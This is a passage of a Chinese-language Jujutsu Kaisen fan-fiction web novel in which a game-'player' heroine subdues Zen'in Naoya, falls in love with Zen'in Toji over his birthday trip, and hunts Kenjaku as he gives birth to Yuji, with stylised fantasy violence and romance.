生理性的泪水从眼角滑落,他的脸涨得通红,额上青筋暴起,有细密的红点出现,这是用力过猛导致毛细血管破裂。 慢慢地,少年的挣扎变弱了。脸色由红变青,嘴唇开始发紫,目光逐渐涣散。 咚。 今野桃松开了手,屋内亮起了绿色的光芒。 迎着少年惊恐的目光,今野桃一把揪住了他的头发。 “真是的,打扰别人恋爱是会被马踢的,你不知道吗?”她的脚踩在他的肩膀上,苦恼地说道。 少年还在嘴硬:“你这个、贱人……” 掉落的短刀飞到了今野桃的手中,随后脱手而出,洞穿了他的手臂,将他钉在了地板上。 她看了一眼手机,浅笑起来。 “不要急,距离吃饭时间还有一个小时,我们可以慢慢玩。” 少年仰着脸,正要开口,无数的画面忽然出现在他的脑海中。 火焰、斩击、死亡……陌生的记忆冲击着他的大脑,他痛苦地抱着脑袋,哀嚎出声。 最后的画面,是她冷漠地看着他,极美的脸庞上溅着血迹,让她仿佛是地狱里爬上来的恶鬼。 ‘真麻烦,都怪你们。’她抱怨,‘本来我和甚尔好好的……’ 他听见父亲说:‘你不过是个我行我素的怪物,竟然还奢望有人爱你?甚尔一直在和你虚与委蛇罢了!’ 于是,王被激怒了。 ‘是吗。’她冷声说道,‘既然你们敢做出这种事情,一定已经想好了后果。’ 她的目光逡巡一圈,最后落在了他的身上。 ‘你杀了我最爱的人,那我就也把你最爱的人杀了吧。’她的嘴角噙着笑意,‘我会在你面前,让你眼睁睁看着,禅院直哉是如何被片成三千块的,最后再把你也送下去。’ ‘和直哉没有关系!他不知道!他什么都不知道!’ 然后他死了。 她是谁?她到底是谁? “哦对,我想起来了。”今野桃一拍巴掌,“你是禅院直哉!” 上周目禅院直毘人那个老东西偷偷撺掇甚尔刺杀她,害的她最后拿了个BE结局。她那时气得破口大骂,说一定要把他全家碎尸万段来着。 嗯,应该没记错吧? 麻烦了,这下就不能把他干脆杀掉,容易死了小的来了老的,最后拔出萝卜带出泥,没完没了。 “喂,禅院直哉,别装了,搁这碰瓷呢。”今野桃没好气地说道,“还想不想活命?” 禅院直哉神经质地抖动着,却仍然不会放弃任何活下去的机会。 “想……我想活……” “行,那我们来立下一个束缚吧。”今野桃满意地把他揪了起来,说道,“我让你活下去,而你,必须对和我有关的一切事情,闭上嘴巴。怎么样?” “好……”禅院直哉没得选。 “真乖。” 今野桃揉了揉他的脑袋,大颗大颗的泪珠从他的眼眶中落下…… 禅院甚尔只是出现了一次,很快就被捕捉到了踪迹。对于这种叛徒,禅院绝不会轻易放过。 追杀的部队已经安排好,只等家主一声令下。 然而,禅院直毘人被拦住了。 “直哉,你知道自己在做什么吗?”禅院直毘人呵斥道,“就算你崇拜甚尔,也要分清楚轻重!他是要叛出禅院!” 禅院直哉没说话,他看起来很不对劲。 他缓缓抬起头,看向自己的父亲。 “父亲大人。”他的声音沙哑得像被砂纸打磨过,声线抖得厉害,“让他走吧。” “让他走?那你想过以后会有多少人看我们的笑话吗?”禅院直毘人眯起眼睛,一把推开他,“想要离开家族,必须付出代价!” “父亲大人!!”禅院直哉猛地拽住了禅院直毘人的手臂,音调尖得像哨子,眼泪不受控制地滚落,呼吸急促又沉重,仿佛下一秒就会因喘不上气而死去。 禅院直毘人吓了一跳。 “你… …” “父亲大人!让他走吧!永远不要回到禅院!”禅院直哉语无伦次地说着,“我不想在禅院看见他!永远不想看见他!!” 禅院直毘人拿他没有办法。 他只有这一个儿子,因为从小天赋出众,所以早就被寄予厚望,认定他是下一任家主了。所以哪怕他性格乖张,他也不愿过多管束。 算了,只是一个无足轻重的边缘人物,离开就离开吧。 “好了!我答应你就是了!”禅院直毘人怒瞪他一眼,甩开袖子,“给我去好好反省反省!” 禅院直哉跌跌撞撞地离开,他躲在自己的院子里,把身体紧紧地蜷缩在一起。 手中的照片被猛地揉皱又松开,如同平滑的镜面被打碎后出现了裂痕。 照片上,一男一女并肩而立,神情温和而亲密,让人不自觉地流露出羡慕的神色。 他想起来了,这个叫做今野桃的女人,根本就不是调查出来那样,她明明、明明是…… 禅院直哉死死地盯着照片,几乎将牙齿咬碎。 他还记得她看他的眼神,冷酷而又不屑。 那时的他虽然畏惧,又觉得理所当然。 她可是王啊!是咒术界的王!她应当看所有人都是如此!除她之外,所有人都是蝼蚁! 可是、可是为什么……为什么她看甚尔君的时候会那样温柔?! 为什么她爱着甚尔君? 为什么她偏偏杀了他? 禅院直哉猛地用力,照片被撕得粉碎,如同下雪一般…… 今野桃回头望向禅院甚尔, “甚尔君,是不是该给你过生日了?”她笑道,“会取名为‘甚尔’(toji),生日一定是在‘冬至’(toji)吧?” 第38章 “你猜错了,我的生日不是冬至。”禅院甚尔霸占了整个沙发,侧身躺倒在软绵绵的垫子上,懒洋洋地说道,“我的生日是一年的最后一天,十二月三十一日。” “那也离得不远了,还有一个月不到的时间呢。”今野桃看了一下日历,“甚尔君有什么想要的吗?” 禅院甚尔看着电视的目光一滞。 有什么想要的?忽然这样问他,他竟然说不出来了。 他最想要什么?自由?安宁?幸福……? 这些,如今的他好像都得到了? “没什么想要的。”他往后一靠,头顶紧紧挨着坐在沙发最边缘的今野桃,毛茸茸的触感让她往旁边又挪了挪。 可惜沙发有扶手,挡住了她的去路,再怎么挪,空间也有限。 “想去泡温泉吗?”她问道。 “不去,没意思,不如在家洗热水澡。”禅院甚尔拒绝了。 今野桃沉吟片刻:“那去参拜神社?新的一年,希望甚尔能快快乐乐、平平安安。” 参拜神社啊……禅院甚尔不信神明,也从不把自己的希望寄托在神明身上。但是……他仰头,看见她姣好的面容。 即便是这种死亡角度,她的美丽依旧不损分毫。 “好。”他应下了。 如果这个世界真的有神明,那么神明无须庇护他,只希望她能快乐平安…… 禅院甚尔不喜欢人多的地方,今野桃也不喜欢。于是她精挑细选,决定在三十一号那天去仙台的大崎八幡宫。 这座神社因祈求胜利而闻名,每年的一月会举办松焚祭,意在烧掉旧年的厄运,迎来新年的好运。 他们这个时候去正好避开高峰期。 早上出门的时候,天空飘下了纷纷扬扬的雪花。今野桃看了一眼天气预报,上面显示会有大雪。 神社中果然没有很多人,蜿蜒小道上,地面铺着一层洁白的雪毯,踩在上面,会发出嘎吱嘎吱的声音。 今野桃走在前面,禅院甚尔双手插在兜里,跟在她的身后。 他其实有参拜过神社,禅院每年都会举办类似的活动,只不过他们祭祀的不是神明,而是祖先。 作为没有咒力的“废物”,他远远地缀在队伍的末尾,成为其中不起眼的一份子。 偶然抬头时,放眼望去,每个人都穿着一样的衣服,传统的着装和沉闷的颜色给这个家族更添了几分封建腐朽的气息。 虽然他不怕冷,但寒风吹过,他看见身边有人在打着哆嗦,毕竟单薄的和服哪里能挡得住风雪的侵袭。 而此时,禅院甚尔的身上穿着前几天刚买的羽绒服,脖子上还缠绕着一条红色的围巾。 前面的今野桃也戴着一条相同款式的,这是他们一起去选新年礼物。 忽然,她踉跄了一小步。 几乎是同时,禅院甚尔拉住了她的手臂。 “好像踩到了鹅卵石。”她不好意思地笑道。 “嗯。”禅院甚尔没说什么,只是手却没有松开。他的掌心下滑,最后扣住了她的手腕,“小心一点。” 红色的鸟居顶部刷上了黑漆,神社大殿的柱子上还装饰着金箔贴面,数百年的历史厚重感扑面而来,叫人收敛了心神,表情也变得越发肃穆。 他们随着人潮走进神社本殿,然后虔诚地许下了心愿。可是刚刚出门,今野桃就问道:“甚尔君许了什么愿望?” 愿望是说给神明听的,说出来就不灵了。但禅院甚尔想都没想地回道:“希望你今年能一切顺利。” “好空泛的愿望啊,甚尔君就不能许个具体一点的愿望吗?”今野桃慢悠悠地开口道:“比如,我许愿,希望明年也可以和甚尔君一起过生日。” 明年…… 明年的事情,谁知道呢? “难道你还想再收留我一年吗?”禅院甚尔嗤了一声。 今野桃不赞同地说道:“什么叫收留?我不是说了吗,我们是一家人呀,那里也是甚尔的家。” 家? “其实甚尔君刚刚来的那段日子,我总是担心某天下班回家发现你悄悄走了。”今野桃慢慢地,用自己的手背触碰到了他的手背,“那样的话,我都不知道该去哪里找你了。” “没必要。”禅院甚尔僵硬地开口道,“分离本来就是必然的事情。” 在背叛禅院、逃离出生的地方时,他就知道了这个道理。 “但是,像风筝一样飞远和像浮萍一样飘走,是不一样的吧。”今野桃用食指勾住了他的指尖,“我希望甚尔君是随心所欲的,而不是迫不得已。” 禅院甚尔只觉得她碰到自己的地方有些痒,并且一路蔓延到骨子里。 今野桃看着上下浮动的好感值,轻轻地叹了口气。 “甚尔君好像对幸福有些过敏。”她笑了起来,“那就只能使用脱敏疗法了。” 那是什么? 禅院甚尔茫然地看着她。 “如果实在不知道该怎么做,就跟在我的身边吧。”她牵住了他的手,“会把甚尔君带回家,也是因为我第一眼看见甚尔君就知道,你一个人是没办法好好生活的。” 她抬手,拂去他肩膀上的些许雪花。 “让我来带给甚尔君幸福吧。” 咚咚。 咚咚。 禅院甚尔听见自己心跳失序的声音。 什么是喜欢?他不懂,也没体会过。但此时此刻,他后知后觉地有了一个疑问—— 他是不是喜欢她?。 雪下得越来越大了,仿佛天地间只剩下了白茫茫的颜色。 他们往外走了一段路,最后还是躲进了旁边的便利店中。 今野桃手忙脚乱地把包裹着脑袋的围巾解开,一边抱怨道:“甚尔君系得也太紧了。” 有吗?万一被风吹得感冒了怎么办。 禅院甚尔低着头听,但坚决不改。 他们往便利店的角落站了站,此时里面已经有了几个跟他们一样躲雪 的人。 今野桃目光扫过,忽地一愣。 一对夫妻斜坐在他们的另一边,丈夫站在风口的位置,怀孕的妻子被他揽在怀中。 留着黑色齐肩发的女人外表清秀,神情温柔,时不时地抚摸一下自己的肚子。男人低头跟她说话,让她抿嘴笑了起来。 这本该是多么温馨的场景啊。 ……如果这个女人的额头上,没有那条缝合线。 今野桃一脸呆滞,脑门上浮现了一个巨大的问号。 不是……你……这…… 啊? 你不会是羂索吧?!等等,羂索不是男人吗?不对,他会附身…… 所以他是女人?!不对,他应该是个脑子,他没有性别! 难怪她杀穿了加茂都没找到他,原来他偷偷跑去结婚生孩子了啊! 第39章 今野桃在这里存了个档。她起身,朝着这对夫妻走过去。 禅院甚尔疑惑地跟着她走过去,低声问道:“怎么了?” “没事,遇到了故人,去打个招呼。”她面带微笑地说道。 故人?是以前的朋友吗? 禅院甚尔的目光扫过男人,落在了怀孕的女人身上。 他想象中的故人见面,应该是亲切友善,彼此问候,没想到今野桃开口一句话,让女人面色大变。 “羂索,好久不见。”今野桃微微弯腰,按住女人的肩膀。 霎时间,女人的眼珠都要瞪出眼眶了。惊讶、恐惧、迷茫……她的表情像是打翻了调色板,好看极了。 “你……”这个时候再想否认也来不及了,如此近的距离,如此突兀的揭穿,他根本伪装不了。羂索想要猛地暴起,但她按着自己的手明明那么纤细,却怎么也撼动不了。 今野桃感慨道:“原来真的是你啊,我差点以为认错了。” “你在说什么呢。”羂索勉强挤出一个笑容,“你是不是认错人了?” 今野桃充耳不闻,自顾自地继续说道:“你听说了加茂的事情吗?我真的找你找得好辛苦啊。” 冷汗沁出,很快就打湿了他的后背。羂索神情难看,知道自己遇上仇人了。 “你是谁?”他斟酌着计划,犹豫要不要迅速脱身。 “我是谁?我是来杀你的人。” 话音落地,羂索抬手释放出了属于这具身体的术式。一股巨大的力推动着今野桃,将她瞬间弹飞出去。 嗯?是“无下限”吗? 这个想法在今野桃的脑海中过了一遍,又被她否决了。她曾经拥有过“无下限”,对它还算熟悉。 这个术式,有点像低配版的“无下限”。真不知道羂索是从哪里挖出来的。 普通的斩击“解”被弹开了,威力更强的“捌”没能命中。羂索像是一条滑不留手的鱼,点满了闪避。 “可恶!可恶!”被破坏了计划的羂索恶狠狠地怒视着今野桃,他几个后跃,拉开了与众人的距离。 他深深地凝视了一眼今野桃,把她的模样牢牢地刻在脑海中。 他不会放过她的! “站住!”今野桃想要追上去,忽然一阵狂风刮过,大雪凝结成一块巨大的白色幕布,又像海啸般铺天盖地地袭来。 羂索往后一倒,没入了风雪之中,再也看不见踪影了。 今野桃掐诀的手慢了一步,领域没能释放出来。 就算能释放,她也怀疑羂索还有后手。她现在用的是两面宿傩的术式,他的领域“伏魔御厨子”是半开放式的,只要实力足够,仍然可以逃走。 对羂索现在的能力不够了解,就算想在商城买道具,也不知道哪个能够克制他。 虽然来回过了好几招,但事实上,这些都发生在短短几秒内。电光石火间,战斗就结束了。 “等等,别追了!”今野桃拉住了想要冲出去的禅院甚尔。 刚刚跟她一起被弹飞的还有他,在她说完“我是来杀你的人”时,禅院甚尔就动了。 贴身藏着的匕首脱手而出,袭向羂索的脖子。 说实话,不愧是一家出来的,他和禅院直哉起手的习惯一模一样。 禅院甚尔什么都没问,当她说要杀人的时候,他的动作又快又稳。 “你没事吧?”禅院甚尔皱着眉检查她的四肢。 “没事没事。”今野桃敷衍地回答。 出门一趟丢了老婆的男人震惊而又迷茫:“你、你们是……?这到底是怎么回事?” 今野桃扭头看向他,开口道:“这位先生,请问你的名字是什么?” 有着粉色短发的男人张了张嘴,好半天开口道:“虎杖仁,我的名字,是虎杖仁。” 虎杖仁……今野桃想起后日谈里,她看见的那条短信。 虎杖悠仁,是两面宿傩在母亲肚子里吃掉的那个兄弟的转世生下来的儿子。 名字这么像,外表也这么像。该不会……虎杖仁就是两面宿傩兄弟的转世吧? 那羂索肚子里的,不会就是虎杖悠仁吧?! 这是什么乱七八糟的发展啊! 今野桃一时失语。 不行,她等缓缓。 仿佛有一条看不见的线,从千年前延续到了现在。羂索一心想要复活两面宿傩,这一定也是他为此而作出的准备。 但他为什么要亲自上阵来诞下这个孩子?这其中必然有非常重要的原因。 总不能因为他是个变态吧? 今野桃在心中干笑两声。 怀孕……怀孕……羂索之前说服两面宿傩的时候,提到他做过实验,那么,他一定也在这方面验证过才对。 嘶! 今野桃猛地想起关于加茂家的一个传闻。 加茂宪伦,一百五十年前,加茂家的一个咒术师。他的存在,让加茂一族的百年声誉蒙上了一层阴影,从此成为了御三家中地位最低的那个。 他用一名人类女子做实验,让她和咒灵诞下了九个咒胎,并在其中混入了自己的血液,最终制造出了特级咒物咒胎九相图。 如果羂索能够附身,那么,这个加茂宪伦,是不是就是羂索呢? 既视感太强,很难不让人有这种联想。 虽然咒胎九相图现在被封印了,据说数据也被销毁,但那个实验一定有了成果,所以羂索才会故技重施。 大胆猜测,小心求证。 今野桃捏了捏鼻梁,有了结论。 借助母亲和孩子之间的羁绊,羂索诞下这个孩子,然后让两面宿傩在这个孩子身上复活,就可以操控两面宿傩。这样,他就有了一把非常好用的刀,并且可以继续隐藏在幕后。 等到两面宿傩把五条悟他们全都干掉,羂索自然就成为了这个世界的王。 他甚至还可以自导自演一出好戏,在众目睽睽之下杀掉两面宿傩,以此成就“救世主”的地位。 完美。 今野桃最后望了一眼羂索消失的方向,点开了上一个存档。 可惜,遇到了玩家,羂索算是遇到克星了。之前会被他算计,只是因为他躲在暗处,不被玩家所知。一旦露出蛛丝马迹,玩家有的是办法炮制他。 人死如灯灭,当闭上眼睛,任他有再多天衣无缝的计划,也只能戛然而止。 时间线跳转,在引起羂索的怀疑前,今野桃把头转了回来,看着外面的风雪。 现在不是动手的好时机。 反正看羂索的肚子,他应该还没这么快生。 这样想想,羂索还挺有毅力的,为了目标,连孩子都愿意生……据说生孩子是最高级别的痛苦…… 忽然,她的眼前暗了下去。 温热的掌心盖在了她的眼皮上,为她挡住了 白色的光。 “别一直看着外面的雪。”禅院甚尔从身后捂住了她的眼睛,“会看花眼的。” “哦。”今野桃从善如流地侧了侧身,“甚尔君,我能问你一个问题吗?” “嗯?什么问题?”禅院甚尔低头看她,发现自己的手好像能覆盖住她的大半张脸,顿时有些蠢蠢欲动,说话也漫不经心。 “你愿意生小孩吗?” “什么?什么小孩?”禅院甚尔以为自己听错。 她说的,是她要生小孩还是他要生小孩? “咳咳。我说……”她压低了声音,用手挡住嘴唇,“你愿意生小孩吗?我听说有一种术式,可以让男人生孩子。” 禅院甚尔瞬间倒吸了一口气。 今野桃懂了。 她就说嘛,果然羂索是变态! 她拍了拍他的手臂,安慰道:“没事,我乱说的。” 收回视线,今野桃观察起便利店货架上的商品。 禅院甚尔还在神游。 ——她问他愿不愿意生小孩。 ——她愿意跟他睡觉。 ——她心里有他! 禅院甚尔的眼睛亮了。 生!他可以生! 第40章 当风雪渐渐小了一些,有人踌躇着要离开了。 今野桃也想走,但禅院甚尔有不同意见。 “要不再等等吧。”他犹豫地说道,“现在出去会很冷。” “但天要暗了。”今野桃望向灰蒙蒙的天空说道,“现在还能看得清路,如果天黑的时候还没停雪,我们就得在这里过夜了。” 过夜也不是不行?他可以抱着她睡,让她躺在身上。 禅院甚尔想。 “我还准备了别的礼物给你,你不想看吗?”今野桃朝他张开双手,在他的耳边轻声细语说道,“我相信甚尔君会保护我的,对吧?” 两人对视着,禅院甚尔败下阵来。 “好吧。”他拉开羽绒服的拉链,把带着体温的衣服脱了下来,像是斗篷一样披在了今野桃的身上,把她从头到尾裹了个严严实实。 “等、等等,甚尔君,那你……” “我有围巾就够了。”他将她打横抱了起来,“准备好了,我们出发!” 他猛地冲进了大雪之中。 今野桃的眼前一片漆黑,什么也看不见,甚至连风声都听不清楚。她只觉得偶尔有比较强烈的失重感,大概是禅院甚尔从高处跳了下来。 箍在她腰上和肩膀上的手很紧,也很稳,把她牢牢固定在他的怀中。 约莫一刻钟的时候,禅院甚尔停了下来。 今野桃伸手扒拉着衣服,艰难地探出头来。下一秒冷空气就扑面而来,让她忍不住打了个喷嚏。 他们现在已经走出了神社范围,离开了那片森林。回头望去,神社笼罩在风雪之中,白茫茫一片。 “走吧,我们去松岛海岸。”今野桃指挥道。 他们拦下了一辆出租车,径直前往海边。 “甚尔君的手好凉啊。”只穿了一件卫衣,一定很冷。今野桃飞快地脱下羽绒服,强硬地要他穿上,“你也要注意身体,不要生病了啊!” “我不会生病。”禅院甚尔不以为意地说道。 他从有记忆起,就没生过病。 这句话,曾经他也对她说过。 今野桃低头摩挲着他粗糙的关节,轻声说道:“可是我会担心的。” 禅院甚尔不说话了,他老老实实地将衣服穿好。把自己包得像她一样,变成了球。 出租车司机会心一笑,揶揄道:“是咯,不要让关心你的人担心嘛。” 爱情真是有趣啊,那么小小一个的女孩子,一句话就能让比她大一圈的男人俯首。 禅院甚尔不习惯地抓了抓下巴,含糊地应道:“……知道了。” 因为有雪,车子开得较慢。约莫一个小时后他们到达了目的地。今野桃带着禅院甚尔下车,走进酒店,来到她提前预定好的包厢。 这个包厢有着一面巨大的落地窗,此时天色已黑,透过窗户往外看,连星星都看不见。今野桃的脸上闪过一丝忧虑。 “怎么了?”禅院甚尔敏锐地问道。 “没事,我们先吃饭吧。”她摇摇头。 晚餐是法式料理,一顿饭吃了两个小时,当时针指向四分之三的方向时,一线红光慢慢地从海岸线上升起。 能看得见。 今野桃松了一口气。她连忙拉住禅院甚尔的手腕,将他带到了窗前。 “甚尔君,快看!” 她的话音还没落地,一朵巨大的、五彩缤纷的烟花就在天空上炸开。 天上没有星星,细碎的火花便化作了星星。璀璨的光芒照亮了大半片天空,黑夜也成了白昼。 斑斓的颜色映在她的脸上,给她镀上了一层梦幻的轮廓。 在这个瞬间,禅院甚尔没有看烟花。 他在看她。 这场盛大的烟花秀被路人拍下后传到网上火极一时,大家都交口称赞,说它是近几年最好看的烟花表演。但它没能在禅院甚尔的脑海里留下一丝印象,他只记得面前的这个女人,她深深地刻在了他的记忆中,再也无法忘却。 “生日快乐,甚尔君。”她对他笑道,“新的一年要到了,希望你也能有崭新的未来!” 她看上去比他还要高兴。 新的未来,怎样才叫新的未来呢? 挖掉他的心脏,剔去他的骨头,流干他的血液,让他从爱里长出新的自我,撑起干瘪的皮囊。 这样是否就是一个新的他了。 “我……”禅院甚尔垂眸,睫毛微微颤抖,像是蝴蝶扇动翅膀,向来平静中带着些许颓丧的脸庞悄然浮起了一层薄红,耳根处像是晕染着胭脂,在灿烂的烟花下看不分明。 他的喉结上下滚动,有太多话语卡在嗓子口,却怎么也说不出来。 “我可以为你做什么呢?” 他俯身,慢慢地靠近了她。他的脸埋在她的发间,嗅到了和他身上一样的气味。也对,毕竟用的是同一款沐浴露。 恍然间他才发现,原来他们已经如此亲密了。 他的双手在她的身后合拢,像是抱住了一个美梦。 如果这一切当真是一场梦,那他宁愿永远不要醒来。 今野桃抬起手,轻柔地抚摸过他脑后的发梢。 “我什么都不需要甚尔君做,甚尔君的幸福,就是我的幸福。”她说着甜蜜的话语,让他的脑子也仿佛被黏稠的糖浆粘住,无法运转,“不过,如果甚尔君真的想要为我做什么,那么……请给我一个吻吧。” 她的指尖托起他的下巴,露出他英俊的五官。 今野桃刚想踮起脚,他的吻便已势不可挡地压了下来。 潮湿的气息相互纠缠,心跳的节奏急促而热烈。在短暂的四目相对后,他好像得到了什么信号,于是舌尖碾过唇珠,迫不及待地叩开了她的齿关。 火焰席卷过他的全身,焚烧了他的理智。 他的一只手扣住她的后颈,一只手揽住她的腰,指关节因过于用力而发白,恨不得将她揉入自己的身体之中。 过于激烈的亲吻让她情不自禁地推了推他的肩膀,换来了短暂的喘息。 “甚尔……” 可惜连称呼都没有喊全,她的声音就再次被吃掉了。 今野桃向后趔趄了一步,还未站稳,滚烫的呼吸便又追了过来。她的身后是冰凉的玻璃,身前是炽热的胸膛。 烟花已经燃到了尾声,硕大的八尺玉绽放出最后的艳丽,美得令人心旌摇曳。 禅院甚尔的眼睛半阖着,将这片景色收入眼底。朦胧间,他想—— 或许,生命停在此刻,他也没有任何遗憾了…… 【禅院甚尔好感值:95】。 雪虽然第二天就停了,但今野桃第三天才和禅院甚尔离开酒店。从走出房间到下电梯,这一路上他都在偷偷用眼角的余光打量着她。 “有什么事吗?”今野桃侧头看他。 她的肤色偏白,透着健康的蜜桃色光泽,眼睛明亮有神,一看就精神十足。 “你……你没有哪里不舒服吧?”禅院甚尔支支吾吾地说道。 今野桃愣了一下,很快就反应过来。 “没有哦,和甚尔在一起很快乐呢。”她弯着眼睛,喊他的名字。 这是昨天晚上他反复纠正过的称呼。 今野桃并未撒谎,虽然禅院甚尔是第一次,但他很谨慎,服务意识也很好。他的目光一错不错地落在她的身上,观察着她的每一丝表情,以此作出反应。 “是吗……”禅院甚尔松了一口气的同时,又有点不甘。 下一次,下一次他绝对会更加努力的! 因为出门庆祝生日,今野桃给枷场太太放了假,回家后也没通知她。 好在她走的时候把冰箱填满了,不至于饥肠辘辘的时候还要去买菜。虽然点外卖也行,但枷场太太反复叮嘱她,要她少吃外面的饭菜。 禅院甚尔将行李放好,迟疑了一下说道:“小桃,能不能让枷场太太以后都不来?” 今野桃仰面躺倒在沙发上,闻言看向他,半晌,她抿嘴微微一笑道:“可是我不会做家务诶。” “我来做。”禅院甚尔理所当然地说道,“我有拜托枷场太太教我,之前的事情……总之,那种意外不会再发生了!” 禅院甚尔第一次做饭,险些把厨房烧掉。幸好他反应快,最后只献祭了一个锅子。 禅院甚尔也很苦恼,明明每一步都是按照说明做的,为什么最后会是那个样子? 那个晚上,今野桃吃的是夹生的饭。 他还没领悟到,就算按照具体的毫升来放水,根据每种米不同的吸水性,煮出来的米饭都是不一样的。更遑论不同电器也有不同的脾气,细微的差别就会导致最后的结果大相径庭,需要相互磨合。 不过反正今野桃也没打算让禅院甚尔做家务,所以什么都没说。 谁料,他竟然偷偷向枷场太太求助。 今野桃仿佛看见她去上班的时候,禅院甚尔一个人在家努力研究做饭的样子了。 啊,真可爱呢。 她忍不住笑出了声。 “好,那这个家就拜托甚尔打理了。” 是了,他所做的一切,是为了他的家。所以不论做什么,他都甘之如饴。 今野桃朝他招了招手:“甚尔,来。” 禅院甚尔疑惑地走近,弯腰让她勾住自己的脖子:“怎么……” 他刚刚想要说话,今野桃就轻柔地拽了他一下,在他还没反应过来的时候,一个像羽毛似的吻落在了他的嘴角。 “这是薪水。”她狡黠地笑道。 幽绿色的眸子逐渐变得深邃,禅院甚尔按住了她的手臂,然后慢慢上滑,五指张开,不急不缓地扣进了她的指缝。 “不够。”他舔了舔虎牙,尖锐的疼痛让他清醒,不至于忘我得过分,“还得加。” 一次的饱腹并不能让他满足。 不,或许应该说,他永远不会满足…… 冬天悄然离去,春天无声地来临。三月二十号的早上,天气晴朗。 今野桃如往常一样穿上外套,在玄关处和恋人告别。 一吻结束,她的脸颊泛起浅淡的红。 “今天可能有些忙,会迟一点回家。”她的声音甜甜的,软软的。 禅院甚尔低头,用鼻尖去蹭她的脖子:“要我去接你吗?” “不用啦,会回来和甚尔一起吃晚饭的。”她揉了揉他柔顺的短发。 “好。” 拎着手提包,今野桃坐上了前往仙台的班车。 她接到了下属的消息,今天凌晨,虎杖香织、也就是羂索附身的那个女人,住进了医院。 如果不出意外,她的预产期就是今天了。 她必须去围观一下,看看羂索是怎么生孩子的。 顺便看看,那个孩子到底有什么特殊的地方。 历经千辛万苦,经历九死一生,最后计划破产,羂索的表情一定会很好看吧。 今野桃扬起了一个灿烂的笑脸。 40-50 第41章 羂索住进了一家私人医院,今野桃猜测,这应该是他的试验点之一。 想想也对,如果住在公立医院,以他的身体情况,可别吓到别人医生了。 今野桃也不知道,羂索附身以后,到底还算不算是活着。 医院布有暗桩,明面上也有安保人员,但是他们没一个拦得住她的。 今野桃一边慢悠悠地散步,一边又想明白了一个问题。 怀孕十个月当真是牵制住了羂索的全部心力,难怪她这么轻松就接管了盘星教。也不知道羂索是不是一边着急上火,一边又拿她没办法,只能眼睁睁看着盘星教落入她的手中。 “等等,你是谁?”粉发男人拦住了她,今野桃恍然发现自己已经走到羂索的产房外了。 “我是香织的朋友,你好。”今野桃看着紧闭的门,对他笑道。 男人眉头紧锁:“香织的朋友?抱歉,我没有听她提起过,现在也不能让你进去。” 今野桃沉吟片刻,开口道:“你和你的妻子认识多久了呢?” 男人拦在她的身前,说道:“这与你无关。” “好吧,如果我说,其实你的妻子已经死了……” “我知道。” 男人的回答出乎今野桃的意料,她是真的愣了一下。 他知道?他知道什么?是知道妻子已经死了,现在生孩子的那个是羂索;还是知道一切都只是羂索的计划,包括其实是两面宿傩的兄弟的转世? “那你说说看,你知道什么。”今野桃颇感兴趣地说道,“不说的话,你和你的妻子还有孩子,现在全部都得死。” 男人绷紧了脸庞,却又畏惧于今野桃手上凝聚出的咒力。 他看得见咒力,他也不是个普通人。 “我的耐心不多,再给你十秒钟。”今野桃倒数着,“十,九,六……” 男人:? “请停下!”他压低了声音说道,“不论如何,孩子是无辜的!” 他似乎非常看重这个孩子,胜过他的妻子。 “反正你妻子必死,但孩子能不能活,就看你的表现了。”今野桃两手一摊,说道。 男人的嘴唇蠕动,最后深深地叹了口气。 他和他的妻子香织,是一次偶然认识的。在短暂的接触后,她告诉他,她可以为他生下一个孩子。 “我的身体从出生下来就不太好,医生说是先天不良,很难活得长久。”男人慢慢地说道,“我的母亲为我奔波,不幸遇难,只剩下我的父亲。从那以后,我父亲的身体也虚弱了下来。我担心,等我死去,我的父亲也会不久于人世。所以我很想要一个孩子。” 一个可以代替他照顾他父亲的孩子。 “可惜,医生告诉我,希望很渺茫。”男人苦涩地说。 他的身体太弱了,不可能让女人有孕。 香织就是这个时候出现的,说可以为他生一个孩子。而且,她真的做到了。 今野桃点着下巴,若有所思。 虎杖仁身体虚弱的原因,可能是他曾经被两面宿傩吃掉。按照神话故事里所写,人如果死去的时候躯体不完整,投胎转世后也会变成残疾。 而将兄弟吃掉的两面宿傩,必然也有相应的惩罚。 “原来如此,我知道了。”今野桃得到了答案,更多的估计男人也说不出来。 接下来,她该去看望羂索了。 产房的门是特制的,女人在生产的时候最为虚弱,为此他也做了很多准备。奈何碰到了今野桃,一切都是白费功夫。 一拳将门打了个对穿,今野桃撕开他的茧,来到了羂索面前。房间里只有他一个,没有其他医护人员。 羂索是清醒的,孩子已经生出来了。 粉色的胎发,皱巴巴的一小团。 “好久不见啊,羂索。”今野桃开口喊破了他的身份,羂索震惊的模样真是百看不厌。 “你是之前在大崎八幡宫的那个女人。”羂索记性不错,当然,更多的是因为她那时身边站着禅院甚尔。 他艰难地支撑起身体,非常不解地问道:“我与你无冤无仇,你为何要来杀我?” “什么无冤无仇。”今野桃嗤道,“你难道没有把两面宿傩做成咒 具?难道没有利用女人做实验结果搞出个咒胎九相图?难道没打算杀掉五条悟统治世界?” 她一件一件地细数着羂索做的恶事,看着羂索的冷汗越流越多。 “你到底是谁?” “我可没有义务为你答疑。”今野桃笑吟吟地说道,“总之,不管你有再多的阴谋诡计,也到此为止了。” 她直接冲上去就把他的四肢折断,然后掐住他的脖子。 “你老实一点告诉我,虎杖悠仁和两面宿傩之间有什么关系,我会给你一个速死。”今野桃居高临下地晲着他,“否则,我会把你的脑子挖出来,一片一片地切开。” 她知道他的本体在脑袋里! 仿佛被扒光了所有衣服,羂索浑身发凉。 眼看羂索咬死牙关不肯开口,今野桃眼珠一转,说道:“两面宿傩是不是可以用虎杖悠仁的身体复活?” “!!”羂索的瞳孔骤然缩紧。 她怎么什么都知道!! 后日谈里,两面宿傩非要一个新的身体,所以羂索才逼不得已制造出了一具。而在这里,他当然是要以他的计划优先。 虎杖悠仁的灵魂也可以用来牵制两面宿傩,不至于让他肆无忌惮地搞破坏。 “你什么都知道,还来问我干什么。”羂索沙着嗓子说道。 今野桃挠了挠头发,勾起嘴角说道:“当然是为了开心呀。” 玩家可不像羂索一样,喜欢在背后玩弄手段,她被坑了都不知道该找谁。 “我现在也算是理解你为什么还是忍不住出现在我的面前了,欣赏好不容易才弄死的敌人最后的惨状,真的太让人开心了。” 今野桃拔出匕首,转了个刀花:“拜拜咯。” 刀尖对准了羂索的大脑,死到临头,他竟然也笑了起来。 “你以为你彻底赢了吗?”他叹了一声,“幸好我也作了两手准备。” 嗯? 羂索的眼睛里带着诡异的笑,一字一句地说道:“杀了我,你也别想好过。你以为我不知道你的真实身份吗?盘星教教主。” “……”今野桃点点头,“然后呢?” 她是盘星教教主,难道有什么见不得人的吗? 